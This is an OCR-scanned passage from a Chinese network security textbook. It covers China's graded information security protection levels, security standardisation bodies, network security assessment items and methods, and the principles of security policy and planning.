安全 保护 机 制 可 以 使 用 户 具 备 安全 保护 的 能 力 ,保护 用 户 信 息 免 受 非法 
的 读 写 破坏 

除 具备 第 一 级 所 有 的 安全 保护 功能 外 ,要 求 创建 和 维护 访问 的 审计 跟踪 
记录 ,使 所 有 用 户 对 自身 行为 的 合法 性 负责 

除 具备 前 一 级 所 有 的 安全 保护 功能 外 ,还 要 求 以 访问 对 象 标记 的 安全 级 
别 限制 访问 者 的 权限 ,实现 对 访问 对 象 的 强制 访问 

除 具 备 前 一 级 所 有 的 安全 保护 功能 外 ,还 将 安全 保护 机 制 划分 为 关键 部 
第 四 级 | 结构 化 保护 级 ”| 分 和 非 关 键 部 分 ,对 关键 部 分 可 直接 控制 访问 者 对 访问 对 象 的 存 取 , 从 而 
加 强 系统 的 抗 渗透 能 力 

除 具备 前 一 级 所 有 的 安全 保护 功能 外 ,还 特别 增设 了 访问 验证 功能 ,负责 
仲裁 访问 者 对 访问 对 象 的 所 有 访问 


第 一 级 | 用 户 自主 保护 级 


第 二 级 | 系统 审计 保护 级 


第 三 级 | 安全 标记 保护 级 


第 五 级 | 访问 验证 保护 级 


[结识 拓展 ”从 2002 年 开始 ,我 国 提出 的 有 关 信 息 安 全 实施 等 级 保护 问题 ,经 过 专 
家 多 次 反复 论证 研究 ,其 相关 制度 得 到 不 断 细 化 和 完善 。2006 年 3 月 公安 部 在 原 有 条 款 
基础 上 修改 制订 并 开始 实施 了 《信息 安全 等 级 保护 管理 办 法 (试行 ))。 将 我 国信 息 安 全 
分 5 级 防护 ,分 别 为 自主 保护 级 、 指 导 保 护 级 .监督 保护 级 .强制 保护 级 和 专 控 保护 级 。 
国际 上 通行 的 做 法 是 对 信息 安全 进行 分 级 保护 ,涉及 国家 安全 、 社 会 稳定 的 重要 部 门将 
实施 强制 监管 ,规定 使 用 的 操作 系统 必须 有 三 级 以 上 的 信息 安全 保护 。 


2. 我 国信 息 安 全 标准 化 现状 


信息 安全 标准 事 关 国家 安全 利益 ,各 国 均 在 借鉴 国际 标准 的 基础 上 ,结合 本 国 国情 
制订 并 完善 各 国 的 信息 安全 标准 化 组 织 和 标准 。 其 标准 不 仅 是 信息 安全 保障 体系 的 重 
要 组 成 部 分 ,而 且 是 政府 进行 宏观 管理 的 重要 依据 。 

在 中 国 的 信息 安全 标准 化 建设 方面 ,主要 按照 国务 院 授权 ,在 国家 质量 监督 检验 检 
疫 总 局 管理 下 ,由 国家 标准 化 管理 委员 会 统一 管理 全 国标 准 化 工作 ,该 委员 会 下 设 
255 个 专业 技术 委员 会 。 中 国标 准 化 工作 实行 统一 管理 与 分 工 负责 相 结合 的 管理 体制 ， 
由 88 个 国务 院 有 关 行 政 主管 部 门 和 国务 院 授权 的 有 关 行 业 协会 分 工 管理 本 部 门 、 本 行 
业 的 标准 化 工作 ,由 31 个 省 .自治区 、 直 辖 市 政府 有 关 行 政 主 管 部 门 分 工 管理 本 行政 区 
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域内 、 本 行业 的 标准 化 工作 。1984 年 成 立 了 全 国信 息 技术 安全 标准 化 技术 委员 会 
(CITS) ,在 国家 标准 化 管理 委员 会 及 工业 和 信息 化 部 的 共同 领导 下 负责 全 国信 息 技术 领 
域 以 及 与 ISO/IEC JTC1 相对 应 的 标准 化 工作 ,下 设 24 个 分 技术 委员 会 和 特别 工作 组 ， 
是 目前 国内 最 大 的 标准 化 技术 委员 会 ,是 一 个 具有 广泛 代表 性 、 权 威 性 和 军民 结合 的 信 
息 安全 标准 化 组 织 。 其 工作 范围 是 负责 信息 和 通信 安全 的 通用 框架 方法、 技术 和 机 制 
的 标准 化 ,主要 从 事 国内 外 对 应 的 标准 化 工作 。 其 网 络 技 术 安 全 包括 开放 式 安全 体系 结 
构 、 各 种 安全 信息 交换 的 语义 规则 、 有 关 的 应 用 程序 接口 和 协议 引用 安全 功能 的 接口 等 。 

外 知识 拓展 我国 信息 安 全 标准 化 工作 起 步 晚 发 展 快 。 从 20 世纪 80 年 代 开 始 , 积 
极 借鉴 国际 标准 原则 ,制定 了 一 批 符合 中 国 国情 的 信息 安全 标准 和 行业 标准 ,为 我 国信 
息 安 全 技术 发 展 做 出 了 很 大 贡献 。 我 国 从 1985 年 发 布 第 一 个 有 关 信 息 安 全 方面 的 标准 
以 来 ,到 目前 为 止 ,已 制定 .报批 和 发 布 近 百 个 有 关 信息 安全 技术 、 产 品 、 测 评 和 管理 的 国 
家 标准 ,并 正在 制定 和 完善 新 的 标准 ,为 信息 安全 保障 与 管理 黄 定 了 重要 基础 。 
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通过 对 计算 机 网 络 系统 进行 全 面 、 充 分 有 效 的 安全 测评 ,可 以 查找 并 分 析出 网 络 安 
全 漏洞 .隐患 和 风险 ,以 便 采取 措施 提高 系统 防御 及 抗 攻 击 能 力 。 根 据 网 络 安全 评估 结 
果 、 业 务 的 安全 需求 .安全 策略 和 安全 目标 ,提出 合理 的 安全 防护 措施 建议 和 解决 方案 。 
具体 测评 可 以 通过 网 络 安全 管理 的 计划 规划 设计、 策略 和 技术 措施 等 方面 进行 。 


1. 测评 目的 和 方法 


1) 网 络 安全 测评 目的 

网 络 安全 测评 目的 如 下 : 

(1) 搞 清 企 事 业 机 构 有 具体 信息 资产 的 实际 价值 及 状况 。 

(2) 确定 机 构 信 息 资源 的 保密 性 、 完 整 性 、 可 用 性 和 可 审查 性 的 威胁 风险 及 程度 。 

(3) 通过 调研 分 析 , 搞 清 当前 机 构 网 络 系统 实际 存在 的 具体 漏洞 隐患 及 状况 。 

(4) 明确 与 该 机 构 信 息 资产 有 关 的 风险 和 具体 需要 改进 之 处 。 

(5) 提出 改变 现状 的 具体 建议 和 方案 ,使 风险 降低 到 可 接受 的 水 平 。 

(6) 为 构建 合适 的 安全 计划 和 策略 做 好 准备 。 

2) 网 络 安全 测评 类 型 

一 般 通 用 的 测评 类 型 分 为 5 个 : 

(1) 系统 级 漏洞 测评 。 主 要 检测 计算 机 系统 的 漏洞 ,隐患 和 基本 安全 策略 及 状况 。 

(2) 网 络 级 风险 测评 。 主 要 测评 相关 的 所 有 计算 机 网 络 及 信息 基础 设施 的 风险 
范围 。 

(3) 机 构 的 风险 测评 。 对 整个 机 构 进 行 整体 风险 分 析 , 分 析 对 其 信息 资产 的 具体 威 
胁 和 隐患 ,分析 处 理 信 息 漏洞 和 隐患 ,对 实体 系统 及 运行 环境 的 各 种 信息 进行 检验 。 

(4) 实际 入 侵 测 试 。 对 具有 成 熟 系统 安全 程序 的 机 构 进行 检验 ,以 测评 该 机 构 对 具 
体 模 式 的 网 络 人 侵 的 实际 反应 能 力 。 

(5) 审计 。 深 入 实际 检查 具体 的 安全 策略 和 记录 情况 以 及 该 组 织 具体 执行 的 情况 。 
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和信 侵 测 试 和 审计 这 两 种 类 型 的 测评 将 在 后 面具 体 讨论 。 

3) 调研 与 测评 方法 

在 实际 调研 和 测评 时 ,收集 信息 主要 有 3 个 基本 信息 源 : 调研 对 象 、 文 本 查阅 和 物理 
检验 。 调 研 对 象 主要 是 与 现 有 系统 安全 和 组 织 实施 相关 的 人 员 ,重点 是 熟悉 情况 的 人 员 
和 管理 者 。 为 了 准确 测评 所 保护 的 信息 资源 及 资产 ,对 问题 的 调研 提纲 应 尽量 简单 易 
懂 , 且 所 提供 的 信息 与 调研 人 员 无 直接 利害 关系 ,同时 审查 现 有 的 安全 策略 及 关键 的 配 
置 情况 ,包括 已 经 完成 和 正在 草拟 或 修改 的 文本 。 还 应 搜集 对 该 组 织 的 各 种 设施 的 审查 
信息 。 

具体 的 测评 方法 有 网 络 安全 威胁 隐患 与 态势 测评 方法 、 模 糊 综合 风险 测评 法 、 基 于 
弱点 关联 和 安全 需求 的 网 络 安全 测评 方法 、 基 于 失效 树 分 析 法 的 网 络 安全 风险 状态 测评 
方法 、 贝 叶 斯 网 络 安全 测评 方法 等 ,具体 方法 可 以 通过 网 络 进行 查阅 。 


2. 测评 标准 和 内 容 


(1) 测评 前 提 。 在 网 络 安全 实际 测评 前 ,应 重点 考查 3 个 方面 的 测评 因素 : 计算 机 
(服务 器 ) 及 其 网 络 设备 安装 的 场 区 环境 的 安全 性 ;设备 和 设施 的 质量 安全 可 靠 性 ;外 部 
运行 环境 及 内 部 运行 环境 相对 安全 性 ,系统 管理 员 可 信任 度 和 配合 测评 是 否 愿意 情 
况 等 。 

(2) 依据 和 标准 。 主 要 根据 ISO 或 国家 有 关 的 通用 评估 准则 CC《 信 息 安全 技术 评 
估 通 用 准则 》《 计 算 机 信息 系统 安全 保护 等 级 划分 准则 》 和 《信息 安全 等 级 保护 管理 办 法 
(试行 )) 等 作为 评估 标准 。 

经 过 各 方 认真 研究 和 讨论 达成 的 相关 标准 及 协议 也 可 作为 测评 的 重要 依据 。 

(3) 测评 内 容 。 对 网 络 安全 的 评估 内 容 主要 包括 安全 策略 测评 、 网 络 实体 (物理 ) 安 
全 测评 ,网络 体系 安全 测评 、 安 全 服务 测评 ,病毒 防护 安全 性 测评 、 审 计 安全 性 测评 、 备 份 
安全 性 测评 、 紧 急事 件 响应 测评 和 安全 组 织 与 管理 测评 等 。 


3. 安全 策略 测评 


(1) 测评 项 目 。 利 用 网 络 系统 规划 及 设计 文档 、 安 全 需求 分 析 文 档 、 网 络 安全 风险 测 
评 文档 和 网 络 安全 目标 ,测评 网 络 安全 策略 的 有 效 性 。 

(2) 测评 方法 。 采 用 专家 分 析 的 方法 ,主要 测评 安全 策略 实施 及 效果 ,包括 : 安全 需 
求 是 否 满足 ,安全 目标 是 否 能 够 实现 ,安全 策略 是 否 有 效 ,实现 是 否 容易 ,是 否 符合 安全 
设计 原则 ,各 安全 策略 是 否 一 致 等 。 

(3) 测评 结论 。 依据 测 评 的 具体 结果 ,对 比 网 络 安全 策略 的 完整 性 、 准 确 性 和 一 
致 性 。 


4. 网 络 实体 安全 测评 


(1) 测评 项 目 。 包括: 网 络 基础 设施 、 配 电 系 统 ; 服 务 器 交换机、 路 由 器 、 配 线 柜 、 主 
机 房 ;工作 站 、 工 作 间 ;记录 媒体 及 运行 环境 。 
(2) 测评 方法 。 采 用 专家 分 析 法 ,主要 测评 对 物理 访问 控制 (包括 安全 隔离 .门禁 控 
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制 \ 访 问 权 限 和 时 限 、 访 问 登 记 等 ) ,安全 防护 措施 (防盗 防水、 防火 、 防 震 等 )、 备 份 (安全 
恢复 中 需要 的 重要 部 件 的 备份 ) 及 运行 环境 等 的 要 求 是 否 实现 ,是 否 满足 安全 需求 。 
(3) 测评 结论 。 依 据 实 际 测评 结果 ,确定 网 络 系统 的 实际 实体 安全 及 运行 环境 情况 。 


5. 网 络 体系 的 安全 性 测评 


1) 网 络 隔离 的 安全 性 测评 

(1) 测评 项 目 。 主 要 包括 以 下 3 个 方面 : 

@ 网 络 系统 内 部 与 外 部 的 隔离 的 安全 性 。 

@ 内 部 虚 网 划分 和 网 段 划分 的 安全 性 。 

@ 远程 连接 (VPN \ 交 换 机 、 路 由 器 等 ) 的 安全 性 。 

(2) 测评 方法 。 主 要 利用 检测 侦 听 工具 ,测评 防火 墙 过 滤 和 交换 机 、 路 由 器 实现 虚拟 
网 划分 的 情况 。 采 用 漏洞 扫描 软件 测评 防火 墙 、 交 换 机 和 路 由 器 是 否 存 在 安全 漏洞 及 
程度 。 

(3) 测评 结论 。 依 据 实际 测评 结果 ,表述 网 络 隔离 的 安全 性 情况 。 

2) 网 络 系统 配置 安全 性 测评 

(1) 测评 项 目 。 主 要 包括 以 下 7 个 方面 : 

@ 网 络 设备 如 路 由 器 ,交换机 、 集 线 器 的 网 络 管理 代理 是 否 修改 了 默认 值 。 

@ 防止 非 授 权 用户 远 程 登录 路 由 器 、 交 换 机 等 网 络 设备 的 措施 情况 。 

@ 服务 模式 的 安全 设置 是 否 合适 。 

@ 服务 端口 开放 及 具体 管理 情况 。 

@ 应 用 程序 及 服务 软件 版 本 加 固 和 更 新 程度 。 

@ 操作 系统 的 漏洞 及 更 新 情况 。 

@ 网 络 系统 设备 的 安全 性 情况 。 

(2) 测评 方法 和 工具 。 常 用 的 主要 测评 方法 和 工具 包括 : 

Q@ 采用 漏洞 扫描 软件 测试 网 络 系统 存在 的 漏洞 和 隐患 情况 。 

@ 检查 网 络 系统 采用 的 各 设备 是 否 采用 了 安全 性 得 到 认证 的 产品 。 

@ 依据 设计 文档 ,检查 网 络 系统 配置 是 否 被 更 改 和 更 改 原因 等 是 否 满足 安全 需求 。 

(3) 测评 结论 。 依 据 测 评 结果 ,表述 网 络 系统 配置 的 安全 情况 。 

3) 网 络 防 护 能 力 测评 

(1) 测评 项 目 。 主 要 对 拒绝 服务 .电子 欺骗 .网 络 侦 听 .入 侵 等 攻击 形式 是 否 采取 了 
相应 的 防护 措施 及 防护 措施 是 否 有 效 进行 测评 。 

(2) 测评 方法 。 主 要 采用 模拟 攻击 ,漏洞 扫描 软件 测评 网 络 防护 能 力 。 

(3) 测评 结论 。 依 据 具 体 测 评 结果 ,具体 表述 网 络 防 护 能 力 。 

4) 服务 的 安全 性 测评 

(1) 测评 项 目 。 主 要 包括 两 个 方面 : 

@ 服务 隔离 的 安全 性 。 依 据 信 息 敏 感 级 别 要 求 是 否 实现 了 不 同 服务 的 隔离 。 

@ 服务 的 脆弱 性 分 析 。 主 要 测试 系统 开放 的 服务 DNS.FTP.E-mail. HTTP 等 是 
否 存在 安全 漏洞 和 隐患 。 
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(2) 测评 方法 。 常 用 的 测评 方法 主要 有 两 种 : 

Q@ 采 用 系统 漏洞 检测 扫描 工具 ,测试 网 络 系统 开放 的 服务 是 否 存 在 安全 漏洞 和 
隐患 。 
@ 模拟 各 项 业务 和 服务 的 运行 环境 及 条 件 , 检 测 业 务 服 务 的 运行 情况 。 

(3) 测评 结论 。 依 据 实际 测评 结果 ,表述 网 络 系统 服务 的 安全 性 。 
5) 应 用 系统 的 安全 性 测评 
(1) 测评 项 目 。 主 要 测评 应 用 程序 是 否 存在 安全 漏洞 以 及 应 用 系统 的 访问 授权 、 访 
问 控制 等 防护 措施 (加 固 ) 的 安全 性 。 
(2) 测评 方法 。 主 要 采用 专家 分 析 和 模拟 测试 的 方法 。 
(3) 测评 结论 。 依 据 实际 测评 结果 ,对 应 用 程序 的 安全 性 进行 全 面 评价 。 


6. 安全 服务 的 测评 


(1) 测评 项 目 。 主 要 包括 认证 ,授权 数据 安全 性 (保密 性 ,完整 性 、 可 用 性 、 可 控 性 、 
可 审查 性 ) ,逻辑 访问 控制 等 。 

(2) 测评 方法 。 采 用 扫描 检测 等 工具 截获 数据 包 , 分 析 上 述 各 项 是 否 满足 安全 需求 。 

(3) 测评 结论 。 依 据 测评 结 果 ,表述 安全 服务 的 充分 性 和 有 效 性 。 


7. 病毒 防护 安全 性 测评 


(1) 测评 项 目 。 主 要 检测 服务 器 .工作 站 和 网 络 系统 是 否 配备 了 有 效 的 防 病毒 软件 
及 病毒 清查 的 执行 情况 。 

(2) 测评 方法 。 主 要 利用 专家 分 析 和 模拟 测评 等 测评 方法 。 

(3) 测评 结论 。 依 据 测评 结 果 ,表述 计算 机 病毒 防范 的 实际 情况 。 


8. 审计 的 安全 性 测评 


(1) 测评 项 目 。 主 要 包括 审计 数据 的 生成 方式 安全 性 、 数 据 充分 性 、 存 储 安全 性 、 访 
问安 全 性 及 防 算 改 的 安全 性 。 

(2) 测评 方法 。 主 要 采用 专家 分 析 和 模拟 测试 等 测评 方法 。 

(3) 测评 结论 。 依 据 测 评 具体 结果 表述 审计 的 安全 性 。 


9. 备份 的 安全 性 测评 


(1) 测评 项 目 。 主 要 包括 备份 方式 的 有 效 性 、 备 份 的 充分 性 、 备 份 存储 的 安全 性 和 备 
份 的 访问 控制 情况 等 。 

(2) 测评 方法 。 采 用 专家 分 析 的 方法 ,依据 系统 的 安全 需求 、 业 务 的 连续 性 计划 , 测 
评 备 份 的 安全 性 情况 。 

(3) 测评 结论 。 依 据 测评 结果 ,表述 备份 系统 的 安全 性 。 


10. 紧急 事件 响应 测评 
(1) 测评 项 目 。 主 要 包括 紧急 事件 响应 程序 及 其 有 效应 急 处 理 情况 ,以 及 平时 的 应 
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急 准 备 情况 (备份 .培训 和 演练 ) 情况 。 

(2) 测评 方法 。 模 拟 紧急 事件 响应 条 件 ,检测 响应 程序 是 否 有 序 且 有 效 地 处 理 安全 
事件 。 

(3) 测评 结论 。 依 据 实际 测评 结果 ,对 紧急 事件 响应 程序 和 应 急 预案 及 措施 的 充分 
性 有效 性 进行 对 比 评价 。 


11. 安全 组 织 和 管理 测评 


1) 测评 项 目 

(1) 建立 网 络 安 全 组 织 机 构 和 设置 安全 机 构 ( 部 门 ) 情 况 。 

(2) 检查 网 络 管理 条 例 及 落实 情况 .明确 规定 网 络 应 用 目的 、 应 用 范围 .应 用 要 求 、 违 
反 惩 罚 规定 ,用户 人 网 审批 程序 等 情况 。 

(3) 每 个 相关 网 络 人 员 的 安全 职责 是 否 明确 及 落实 情况 。 

(4) 查 清 合适 的 信息 处 理 设 施 授 权 程 序 。 

(5) 实施 网 络 配置 管理 情况 。 

(6) 规定 各 作业 的 合理 工作 规程 情况 。 

(7) 明确 、 具 体 、 翔 实 的 人 员 安 全 管理 规程 情况 。 

(8) 记载 翔实 有 效 的 安全 事件 响应 程序 情况 。 

(9) 有 关 人 员 对 涉及 的 各 种 管理 规定 的 详细 内 容 掌 握 情 况 。 

(10) 机 构 相 应 的 保密 制度 及 落实 情况 。 

(11) 账号 口令 .权限 等 授权 和 管理 制度 及 落实 情况 。 

(12) 定期 安全 审核 和 安全 风险 测评 制度 及 落实 情况 。 

(13) 管理 员 定 期 培训 和 资质 考核 制度 及 落实 情况 。 

2) 测评 方法 

主要 利用 专家 分 析 的 方法 .考核 法 .审计 方法 和 调查 的 方法 。 

3) 测评 结论 

根据 实际 的 测评 结果 ,评价 安全 组 织 机 构 和 安全 管理 是 否 充分 有 效 。 

ER 讨论 思考 

(1) 橙 皮 书 将 安全 的 级 别 从 低 到 高 分 成 哪 4 个 类 别 和 7 个 级 别 ? 

(2) 国家 将 计算 机 安全 保护 划分 为 哪 5 个 级 别 ? 

(3) 网 络 安全 测评 方法 主要 有 哪些 ? 


34 网 络 安全 策略 和 规划 


国际 调查 显示 ,目前 大 部 分 的 企业 网 仍 无 安全 策略 和 规划 , 仅 靠 一 些 简单 的 安全 措 
施 来 保障 网 络 安全 ,因此 ,必须 重视 和 强化 网 络 安全 策略 和 规划 。 


341 网 络 安全 策略 概述 
网 络 安全 策略 是 指 在 某 个 特定 的 环境 中 为 达到 一 定 级 别 的 网 络 安全 保护 需求 所 遵 
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循 的 各 种 规则 和 条 例 , 包 括 对 企业 各 种 网 络 服务 的 安全 层次 和 权限 的 分 类 ,确定 管理 员 
的 安全 职责 ,主要 涉及 4 个 方面 : 实体 (物理 ) 安 全 策略 .访问 控制 策略 .信息 加 密 策略 和 
网 络 安全 管理 策略 。 


1. 网 络 安全 策略 总 则 


网 络 安全 策略 是 保障 机 构 网 络 安全 的 指导 性 文件 。 通常, 网 络 安全 策略 包括 总 体 安 
全 策略 和 具体 安全 管理 实施 细则 。 在 制定 总 体 安全 策略 或 安全 管理 实施 细则 时 ,都 应 当 
依据 网 络 安全 特点 ,遵守 均衡 性 、 时 效 性 和 最 小 限度 原则 。 

1) 均衡 性 原则 

世上 没有 绝对 的 安全 ,软件 协议 及 管理 等 各 种 漏洞 .安全 隐患 和 威胁 无 法 彻底 根除 ， 
网 络 安全 任重道远 。 网 络 效能 、 易 用 性 、 安 全 强度 相互 制约 ,不 能 顾此失彼 ,必须 根据 用 
户 对 网 络 的 具体 需求 兼顾 均衡 性 ,充分 发 挥 网 络 的 效能 。 

2) 动态 性 原则 

通常 ,影响 网 络 安全 的 多 种 因素 都 随 着 时 间 有 所 变化 ,致使 很 多 网 络 安全 问题 具有 
明显 的 时 效 性 特征 。 如 网 络 规模 、 业 务 变 化 .用户 数量 、 网 站 更 新 、 安 全 检测 与 管理 等 因 
素 的 变化 ,都 会 促进 网 络 安 全 策略 与 时 俱 进 并 适应 发 展 需求 。 

3) 最 小 限度 原则 

计算 机 网 络 系统 提供 的 服务 越 多 ,往往 带 来 的 安全 风险 、 隐 患 和 威胁 也 越 多 ,因此 ， 
最 好 关闭 网 络 安全 策略 中 没有 规定 的 网 络 服务 ,以 最 小 限度 配置 满足 安全 策略 确定 的 用 
户 权限 ,并 及 时 去 除 无 用 账号 及 主机 信任 关系 ,将 风险 降 至 最 低 。 


2. 安全 策略 的 内 容 


通常 网 络 都 由 网 络 硬件 、 网 络 连接 .操作 系 统 、 网 络 服务 和 数据 组 成 ,网 络 管理 员 或 
安全 管理 员 负责 安 全 策略 的 实施 ,网 络 用 户 则 应 当 严格 按照 安全 策略 的 规定 使 用 网 络 提 
供 的 服务 。 根 据 不 同 的 安全 需求 和 对 象 ,可 以 确定 不 同 的 安全 策略 。 如 访问 控制 策略 是 
网 络 安全 防范 的 主要 策略 ,任务 是 保证 网 络 资源 不 被 非法 访问 和 使 用 。 安 全 策略 主要 包 
括 人 网 访问 控制 策略 .操作 权限 控制 策略 .目录 安全 控制 策略 .属性 安全 控制 策略 、 网 络 
服务 器 安全 控制 策略 .网 络 监测 、 锁 定 控 制 策略 和 防火 墙 控制 策略 8 个 方面 的 内 容 。 除 
此 以 外 ,安全 策略 还 侧重 以 下 7 个 方面 : 

1) 实体 与 运行 环境 安全 

关于 实体 与 运行 环境 安全 ,在 1. 6 节 中 已 经 进行 了 概述 ,在 规划 和 实施 时 可 以 参照 
《电子 信息 系统 计算 机 房 设 计 规范 》(GB 50174 一 2008) 《计算 机 站 场地 安全 要 求 》(GB/T 
9361 一 2011)《 计 算 机 站 场地 技术 条 件 》(GB/T 2887 一 2011) 和 国家 保密 安全 方面 的 ( 计 
算 机 信息 系统 设备 电磁 泄漏 发 射 测试 方法 )(GGBB2 一 1999) 等 国家 技术 标准 。 

2) 网 络 连 接 安 全 

网 络 连接 安全 主要 涉及 软 硬 件 连接 及 网 络 边界 安全 ,如 内 外 网 与 互联 网 的 连接 需要 
防火 墙 和 入 侵 检测 技术 双 层 安全 机 制 保障 网 络 边界 安全 。 内 网 主要 通过 操作 系统 安全 
和 数据 安全 策略 进行 保障 ,或 以 网 络 地 址 转换 (Network Address Translator, NAT) 技 术 
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以 屏蔽 方式 保护 内 网 私有 IP 地 址 ,最 好 对 有 特殊 要 求 的 内 网 采用 物理 隔离 等 技术 。 

3) 操作 系统 安全 

主要 是 侧重 操作 系统 的 安全 漏洞 计算 机 病毒 .网络 入 侵 攻 击 等 威胁 和 隐患 ,采取 措 
施 进行 有 效 防范 、 及 时 更 新 升级 与 安全 管理 。 

4) 网 络 服务 安全 

计算 机 网 络 提供 的 信息 浏览 文件 传输 、 远 程 登录 、 电 子 邮 件 等 各 种 服务 都 程度 不 同 
地 存在 着 一 定 的 安全 风险 和 隐患 ,而 且 不 同 服务 的 安全 隐患 和 具体 安全 措施 各 异 , 所 以 ， 
需要 在 认真 分 析 网 络 服 务 风险 的 基础 上 ,分 别 制定 相应 的 安全 策略 细则 。 

5) 数据 安全 

数据 以 其 机 密 及 重要 程度 可 分 为 4 类: 关键 数据 .重要 数据 ,有 用 数据 和 一 般 数据 ， 
针对 不 同类 型 的 数据 应 采取 不 同 的 保护 措施 。 操 作 系 统 及 关键 业务 应 用 程序 的 关键 数 
据 指 重要 且 具 有 高 度 机 密 性 和 高 使 用 价值 的 数据 ;有 用 数据 是 指 网 络 系统 经 常 使 用 却 可 
从 其 他 地 方 复制 的 数据 ;一 般 数据 也 称 非 重要 数据 ,是 指 很 少 使 用 、 机 密 性 不 强 且 容 易 得 
到 的 数据 。 根 据 具体 实际 需求 采取 加 密 和 备份 等 措施 。 

6) 安全 管理 责任 

网 络 安全 管理 人 员 是 网 络 安 全 策略 的 制定 和 执行 的 主体 ,必须 明确 网 络 安全 管理 责 
任 人 。 一 般 小 型 网 可 由 网 管 员 兼顾 网 络 安全 管理 职责 ,中 大 型 网 络 及 电子 政务 .电子 银 
行 、 电 子 商务 或 其 他 重要 部 门 需要 配备 专职 网 络 安 全 管理 机 构 和 责任 人 ,网 络 安全 管理 
采用 技术 措施 与 行政 管理 相 结合 的 手段 。 

7) 网 络 用 户 安全 责任 

网 络 用 户 对 网 络 安全 也 负 有 相应 的 责任 ,应 当 提 高 安全 防范 意识 ,注意 网 络 的 接 人 
安全 ,使 用 安全 安全 设置 与 口令 密码 等 管理 安全 以 及 系统 加 固 与 病毒 防范 等 。 


3. 网 络 安全 策略 的 制定 与 实施 


1) 网 络 安全 策略 的 制定 

网 络 安全 策略 是 在 指定 安全 需求 等 级 \ 环 境 和 区 域内 ,与 安全 活动 有 关 的 规则 和 条 
例 ,是 网 络 安全 管理 过 程 的 重要 内 容 和 方法 。 

网 络 安全 策略 包括 3 个 重要 组 成 部 分 : 安全 立法 ,安全 管理 ,安全 技术 。 安 全 立法 是 
第 一 层 , 有 关 网 络 安全 的 法 律 法 规 可 分 为 社会 规范 和 技术 规范 ;安全 管理 是 第 二 层 ,主要 
指 一 般 的 行政 管理 措施 ;安全 技术 是 第 三 层 , 是 网 络 安全 的 重要 物质 和 技术 基础 。 

社会 法 律 ,法规 与 手段 是 安全 的 根本 基础 和 重要 保障 ,通过 建立 健全 与 网 络 安全 相 
关 的 法 律 .法规 ,使 不 法 分 子 慑 于 法 律 ,不 敢 轻 举 妄 动 。 先 进 的 安全 技术 是 网 络 安全 的 根 
本 保障 ,用 户 对 系统 面临 的 威胁 进行 风险 评估 ,确定 其 需要 的 安全 服务 种 类 ,选择 相应 的 
安全 机 制 ,然后 再 集成 先进 的 安全 技术 。 任 何 机 构 、 企 业 和 单位 都 需要 建立 相应 的 网 络 
安全 管理 措施 ,加 强 内 部 管理 ,建立 审计 和 跟踪 体系 ,提高 整体 网 络 安全 意识 。 

2) 安全 策略 的 实施 

(1) 存储 重要 数据 和 文件 。 重 要 资源 和 关键 的 业务 数据 备份 应 当 存 储 在 受 保护 、 限 
制 访 问 且 距离 源 地 点 较 远 的 位 置 , 可 使 备份 的 数据 摆脱 当地 的 意外 灾害 。 并 规定 只 有 被 
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授权 的 用 户 才 有 权限 访问 存放 在 远程 的 备份 文件 。 在 某 些 情 况 下 ,为 了 确保 只 有 被 授权 
的 人 可 以 访问 备份 文件 中 的 信息 ,需要 对 备份 文件 进行 加 密 。 

(2) 及 时 更 新 加 固 系统 。 由 专人 负责 及 时 检查 、 安 装 和 升级 最 新 系统 软件 补丁 、 漏 油 
修复 程序 ,及 时 进行 系统 加 固 防御 ,并 请 用 户 配合 ,包括 防火 墙 和 查 杀 病毒 软件 的 升级 。 

(3) 加 强 系 统 检测 与 监控 。 面 对 各 种 网 络 攻击 能 够 快速 响应 ,安装 并 运行 信息 安全 
部 门 认可 的 人 侵 检测 系统 。 在 防御 措施 遭受 破坏 时 发 出 警报 ,以 便 采 取 应 对 措施 。 

(4) 做 好 系统 日 志和 审计 。 计 算 机 网 络 系统 在 处 理 一 些 敏 感 .有 价值 或 关键 的 业务 
信息 时 必须 可 靠 地 记录 重要 的 与 安全 有 关 的 事件 ,并 做 好 系统 可 疑 事件 的 审计 与 追踪 。 
与 网 络 安全 有 关 的 事件 包括 猜测 其 他 用 户 密码 、 使 用 未 经 授权 的 权限 访问 、 修 改 应 用 软 
件 以 及 系统 软件 等 。 企 事业 单位 应 维护 此 类 日 志 记录 ,并 在 一 段 时 期 内 保存 在 安全 地 
方 。 需 要 时 可 对 系统 日 志 进行 分 析 及 审计 跟踪 ,也 可 判断 系统 日 志 记 录 是 否 被 算 改 。 

(5) 提高 网 络 安 全 检测 和 整体 防范 能 力 和 技术 措施 。 


“342 网 络 安全 规划 基本 原则 


网 络 安全 规划 的 主要 内 容 包 括 网 络 安全 规划 的 基本 原则 ,安全 管理 控制 策略 、 安 全 
组 网 安全 防御 措施 、 网 络 安全 审计 和 规划 实施 等 。 规 划 种 类 较 多 ,其 中 ,网 络 安全 建设 
规划 可 以 包括 指导 思想 、 基 本 原则 、 现 状 及 需求 分 析 、 建 设 政策 依据 、 实 体 安全 建设 .运行 
安全 策略 .应 用 安全 建设 和 规划 实施 等 。 限 于 篇 幅 , 本 节 只 概述 制定 规划 的 基本 原则 。 

制定 网 络 安全 规划 的 基本 原则 如 下 : 

(1) 统筹 兼顾 。 根 据 机 构 的 具体 规模 .范围 . 安 全 等 级 等 需求 要 素 进 行 统筹 规划 。 

(2) 全 面 考 虑 。 网 络 安全 是 一 项 复杂 的 系统 工程 ,需要 全 面 综合 考虑 政策 依据 .法规 
标准 、 风 险 评估 技术 手段 .管理 策略、 机制 和 服务 等 ,还 要 考虑 实体 及 主机 安全 、 网 络 系 
统 安全 、 系 统 安全 和 应 用 安全 等 各 个 方面 ,形成 总 体 规划 。 

(3) 整体 防御 与 优化 。 科 学 利用 各 种 安全 防御 技术 和 手段 ,实施 整体 协同 防范 和 应 
急 措施 ,对 规划 和 不 同方 案 进行 整体 优化 。 

(4) 强化 管理 。 全 面 加 强 安全 综合 管理 ,人 机 结合 ,分 工 协同 ,全 面 实施 。 

(5) 兼顾 性 能 。 不 应 以 牺牲 网 络 的 性 能 来 换取 高 安全 性 ,在 网 络 的 安全 性 与 性 能 之 
间 找 到 适当 的 平衡 点 和 维护 更 新 需求 ,应 按照 安全 等 级 要 求 确定 标准 ,不 追求 “绝对 的 安 
全 ”。 

(6) 科学 制定 与 实施 。 充 分 考虑 不 同行 业 特 点 不同 侧 重要 求 和 安全 需求 ,分 别 制定 
不 同 的 具体 规划 方案 ,然后 形成 总 体 规划 ,并 分 步骤 有 计划 地 组 织 实施 ,如 企业 网 络 安全 
建设 规划 、 校 园 网 安全 管理 实施 规划 .电子 商务 网 站 服务 器 安全 规划 等 。 

ED 讨论 思考 

